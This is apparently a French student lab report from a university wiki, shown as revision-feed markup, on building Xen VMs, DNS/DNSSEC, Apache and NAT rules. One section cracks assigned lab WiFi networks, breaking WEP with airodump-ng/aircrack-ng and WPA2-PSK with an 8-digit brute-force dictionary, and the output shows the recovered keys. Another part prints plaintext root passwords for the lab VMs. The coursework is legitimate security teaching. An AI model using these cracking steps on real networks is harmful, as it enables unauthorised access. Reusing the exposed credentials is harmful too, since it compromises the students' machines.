Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                               Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
      [00:35:36] 66631280/100000000 keys tested (30842.35 k/s) &lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 1 second                           66.63%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66685666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8 &lt;br /&gt;
                       61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
et l'IP de la E305 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ensuite sur le routeur :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
ip dhcp pool PoolCedric&lt;br /&gt;
network 10.60.5.0 255.255.255.0&lt;br /&gt;
dns-server 193.48.57.166&lt;br /&gt;
default-router 10.60.5.254&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12171</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12171"/>
		<updated>2026-02-10T15:38:36Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Sécurisation WiFi par WPA2-EAP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
